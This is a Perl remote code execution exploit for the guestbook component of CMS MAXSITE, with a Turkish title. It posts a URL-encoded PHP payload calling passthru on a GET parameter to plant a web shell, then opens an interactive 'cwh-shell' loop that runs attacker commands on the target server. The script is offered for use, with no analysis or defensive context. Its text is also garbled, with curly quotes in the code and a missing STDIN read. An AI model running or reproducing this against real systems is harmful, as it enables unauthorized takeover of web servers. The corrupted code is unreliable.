CMS MAXSITE Bileşen Defteri Uzak Komuta Yürütme Exploit

CMS MAXSITE Bileşen Defteri
http://maxsite.geniuscyber.com/download/Ex-guestbook.rar

use LWP;
use HTTP::Request;

my $sis="$^O";if ($sis eq 'MSWin32') { system("cls"); } else { system("clear"); }
print "HackerBox\n";

if ($#ARGV != 0)
{
print "Usage: ./xpl.pl \n”;
print “Ex. ./xpl.pl http://www.target.com/maxsite/index.php\n”;
exit();
}

$index = $ARGV[0];
$upload_url = $index.”?name=guestbook&file=message”;

print “\n[+] Trying to Inject the Code…\n”;

$ua = LWP::UserAgent->new ();
$post = HTTP::Request->new (POST => $upload_url);
$post->header (User_Agent => ‘Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.18) Gecko/20081029 Firefox/2.0.0.18′);
$post->header (Accept => ‘text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5′);
$post->header (Accept_Language => ‘en-us,en;q=0.5′);
$post->header (Content_Type => ‘application/x-www-form-urlencoded’);
$post->content (’name=CWH&aim=CWH&email=CWH&site=http%3A%2F%2Fcitec.us&message=%3C%3Fphp+%0D%0Aif%28get_magic_quotes_gpc%28%29%29%0D%0A%7B+%0D%0A%09%24_GET%5Bcmd%5D%3Dstripslashes%28%24_GET%5Bcmd%5D%29%3B%0D%0A%7D+%0D%0Aecho+%28%22%23%23%25%24%24%25%23%23%22%29%3B%0D%0Apassthru%28%24_GET%5Bcmd%5D%29%3B+%0D%0Aecho+%28%22%23%23%25%24%24%25%23%23%22%29%3B%0D%0A%3F%3E&submitButtonName=Submit’);

$response = $ua->request ($post);

if ($response->code ne 200) {
print “\nRCE Exploit Failed\n”;
exit();
}

print “\nSuccessfully Inject Code !!!\n\n”;
print “[cwh-shell]# “;
chomp ($cmd = );

while ($cmd ne “exit”) {

$url = $index.”?name=guestbook&cmd=”.$cmd;

$req = HTTP::Request->new (GET => $url);
$req->header (User_Agent => ‘Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.18) Gecko/20081029 Firefox/2.0.0.18′);
$req->header (Accept => ‘text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5′);
$req->header (Accept_Language => ‘en-us,en;q=0.5′);

$response = $ua->request ($req);
$content = $response->content;

if ($content !~ /\#\#%\$\$%\#\#/) {
print (”Exploit Failed\n”);
exit();
}

while ($content =~ /\#\#%\$\$%\#\#(.*?)\#\#%\$\$%\#\#/sg) {
print $1;
}

print “\n[cwh-shell]# “;
chomp ($cmd = );

}